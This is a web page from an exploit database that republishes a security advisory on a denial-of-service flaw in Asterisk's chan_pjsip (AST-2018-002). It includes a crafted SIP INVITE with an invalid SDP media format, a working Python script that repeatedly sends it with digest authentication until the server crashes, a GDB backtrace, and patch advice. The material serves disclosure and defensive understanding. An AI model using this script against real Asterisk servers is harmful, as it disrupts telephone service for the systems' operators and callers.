0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Asterisk 15.2.0 chan_pjsip SDP Media Format Denial Of Service Exploit
# Segmentation fault occurs in Asterisk with an invalid SDP media format description - Authors: - Alfred Farrugia <alfred@enablesecurity.com> - Sandro Gauci <sandro@enablesecurity.com> - Latest vulnerable version: Asterisk 15.2.0 running `chan_pjsip` - References: AST-2018-002 - Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2018-03-asterisk-pjsip-sdp-invalid-media-format-description-segfault> - Vendor Advisory: <http://downloads.asterisk.org/pub/security/AST-2018-002.html> - Tested vulnerable versions: 13.10.0, 15.1.3, 15.1.4, 15.1.5, 15.2.0 - Timeline: - Report date: 2018-01-15 - Vendor patch made available to us: 2018-02-05 - Vendor advisory published: 2018-02-21 - Enable Security advisory: 2018-02-22 ## Description A specially crafted SDP message body with an invalid media format description causes a segmentation fault in asterisk using `chan_pjsip`. ## Impact Abuse of this vulnerability leads to denial of service in Asterisk when `chan_pjsip` is in use. ## How to reproduce the issue The following SIP message was used to reproduce the issue: ``` INVITE sip:5678@127.0.0.1:5060 SIP/2.0 To: <sip:5678@127.0.0.1:5060> From: Test <sip:5678@127.0.0.1:5060> Call-ID: 5493d4c9-8248-4c26-a63c-ee74bcf3e1e8 CSeq: 2 INVITE Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bK5493d4c9-8248-4c26-a63c-ee74bcf3e1e8 Contact: <sip:5678@172.17.0.1> Content-Type: application/sdp Content-Length: 115 v=0 o=- 1061502179 1061502179 IN IP4 172.17.0.1 s=Asterisk c=IN IP4 172.17.0.2 m=audio 17002 RTP/AVP 4294967296 ``` The problematic SDP section is: ``` m=audio 17000 RTP/AVP 4294967296 ``` Notes: - authentication may be required - the destination SIP address should match a valid extension in the dialplan To facilitate this process we wrote the following python program to reproduce this issue: ```python import socket import re import md5 import uuid SERVER_IP = "127.0.0.1" SERVER_PORT = 5060 UDP_IP = "0.0.0.0" UDP_PORT = 13940 USERNAME = "5678" PASSWORD = "5678" INVITE_USERNAME = "5678" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind((UDP_IP, UDP_PORT)) while True: callid = str(uuid.uuid4()) fmt = 4294967296 sdpbody = "v=0\r\n" \ "o=- 1061502179 1061502179 IN IP4 172.17.0.1\r\n" \ "s=Asterisk\r\n" \ "c=IN IP4 172.17.0.2\r\n" \ "m=audio 17002 RTP/AVP %s" % fmt msg="INVITE sip:%s@%s:%i SIP/2.0\r\n" \ "To: <sip:%s@%s:%i>\r\n" \ "From: Test <sip:%s@%s:%s>\r\n" \ "Call-ID: %s\r\n" \ "CSeq: 2 INVITE\r\n" \ "Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bK%s\r\n" \ "Contact: <sip:%s@172.17.0.1>\r\n" \ "Content-Type: application/sdp\r\n" \ "{{AUTH}}" \ "Content-Length: %i\r\n" \ "\r\n" % ( INVITE_USERNAME, SERVER_IP, SERVER_PORT, INVITE_USERNAME, SERVER_IP, SERVER_PORT, USERNAME, SERVER_IP, SERVER_PORT, callid, callid, USERNAME, len(sdpbody) ) + \ sdpbody sock.sendto(msg.replace("{{AUTH}}", ""), (SERVER_IP, SERVER_PORT)) data, addr = sock.recvfrom(10240) if data.startswith("SIP/2.0 401"): for line in data.split('\r\n'): if line.startswith("WWW-Authenticate"): content = line.split(':', 2)[1].strip() realm = re.search("realm=\"([a-z]+)\"", content).group(1) nonce = re.search("nonce=\"([a-z0-9\/]+)\"", content).group(1) ha1 = md5.new(USERNAME + ":" + realm + ":" + PASSWORD).hexdigest() uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT) ha2 = md5.new("INVITE:" + uri).hexdigest() r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest() auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \ "realm=\"%s\"," % (realm) + \ "nonce=\"%s\"," % (nonce) + \ "uri=\"%s\"," % (uri) + \ "response=\"%s\"," % (r) + \ "algorithm=md5\r\n" sock.sendto(msg.replace("{{AUTH}}", auth), (SERVER_IP, SERVER_PORT)) ``` The loop is required since a crash might not occur immediately. This security issue was discovered through the use of simple fuzzing with [Radamsa](https://github.com/aoh/radamsa) and our internal toolset. ### GDB backtrace result ``` gdb --args /opt/asterisk/sbin/asterisk -fcvvv [Jan 2 16:07:36] DEBUG[45]: res_pjsip_session.c:743 handle_negotiated_sdp_session_media: Applied negotiated SDP media stream 'audio' using audio SDP handler [Jan 2 16:07:36] ERROR[45]: pjproject:0 <?>: except.c .!!!FATAL: unhandled exception PJLIB/No memory! Thread 26 "asterisk" received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7ffff0297700 (LWP 45)] __longjmp_chk (env=env@entry=0x0, val=val@entry=1) at ../setjmp/longjmp.c:32 32 ../setjmp/longjmp.c: No such file or directory. (gdb) bt #0 __longjmp_chk (env=env@entry=0x0, val=val@entry=1) at ../setjmp/longjmp.c:32 #1 0x00007ffff78ed4ae in pj_throw_exception_ (exception_id=1) at ../src/pj/except.c:54 #2 0x00007ffff7868070 in pool_callback (pool=<optimized out>, size=<optimized out>) at ../src/pjsip/sip_endpoint.c:143 #3 0x00007ffff78f1a93 in pj_pool_create_block (size=1407375809856000, pool=0x7fff8c002c90) at ../src/pj/pool.c:63 #4 pj_pool_allocate_find (pool=0x7fff8c002c90, size=1407375809852724) at ../src/pj/pool.c:138 #5 0x00007ffff78fbb75 in pj_strdup (pool=pool@entry=0x7fff8c002c90, dst=dst@entry=0x7fff8c027638, src=src@entry=0x7fff8c025638) at ../include/pj/string_i.h:41 #6 0x00007ffff78b287e in pjmedia_sdp_media_clone (pool=pool@entry=0x7fff8c002c90, rhs=0x7fff8c025608) at ../src/pjmedia/sdp.c:691 #7 0x00007ffff78b4069 in pjmedia_sdp_session_clone (pool=pool@entry=0x7fff8c002c90, rhs=0x7fff8c01cdb8) at ../src/pjmedia/sdp.c:1422 #8 0x00007ffff7847f31 in create_sdp_body (c_sdp=<optimized out>, pool=0x7fff8c002c90) at ../src/pjsip-ua/sip_inv.c:1722 #9 process_answer (inv=inv@entry=0x7fff8c009f28, st_code=st_code@entry=200, local_sdp=local_sdp@entry=0x0, tdata=0x7fff8c002d38, tdata=0x7fff8c002d38) at ../src/pjsip-ua/sip_inv.c:2257 #10 0x00007ffff7848681 in pjsip_inv_answer (inv=0x7fff8c009f28, st_code=st_code@entry=200, st_text=st_text@entry=0x0, local_sdp=local_sdp@entry=0x0, p_tdata=p_tdata@entry=0x7ffff0296d10) at ../src/pjsip-ua/sip_inv.c:2393 #11 0x00007fff6b0f8f77 in answer (data=0x7fff8c00b298) at chan_pjsip.c:660 #12 0x00007ffff17cb180 in sync_task (data=0x7ffff290c510) at res_pjsip.c:4270 #13 0x00000000005fb3be in ast_taskprocessor_execute (tps=tps@entry=0x1dd6298) at taskprocessor.c:963 #14 0x0000000000602610 in execute_tasks (data=0x1dd6298) at threadpool.c:1322 #15 0x00000000005fb3be in ast_taskprocessor_execute (tps=0x1a401b8) at taskprocessor.c:963 #16 0x0000000000602af0 in threadpool_execute (pool=0x1ae0e88) at threadpool.c:351 #17 worker_active (worker=0x7fff94000948) at threadpool.c:1105 #18 worker_start (arg=arg@entry=0x7fff94000948) at threadpool.c:1024 #19 0x000000000060d4bd in dummy_start (data=<optimized out>) at utils.c:1257 #20 0x00007ffff5e3d6ba in start_thread (arg=0x7ffff0297700) at pthread_create.c:333 #21 0x00007ffff54263dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109 (gdb) ``` ## Solutions and recommendations Apply the patch issued by Asterisk at <http://www.asterisk.org/security> or upgrade to the latest release. # 0day.today [2024-07-04] #